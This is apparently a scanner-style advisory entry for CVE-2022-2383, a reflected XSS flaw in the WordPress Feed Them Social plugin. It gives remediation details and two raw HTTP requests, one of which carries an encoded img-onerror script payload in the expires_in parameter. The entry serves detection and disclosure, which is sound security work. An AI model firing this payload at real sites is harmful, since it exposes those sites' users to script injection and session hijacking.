| Title | WordPress Feed Them Social <3.0.1 - Cross-Site Scripting |
|---|---|
| Author | akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of the Feed Them Social plugin (3.0.1 or higher) to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06392 |
| CVE ID | CVE-2022-2383 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp wordpress wp-plugin wpscan xss slickremix vkev vuln |
WordPress Feed Them Social plugin before 3.0.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the page.
GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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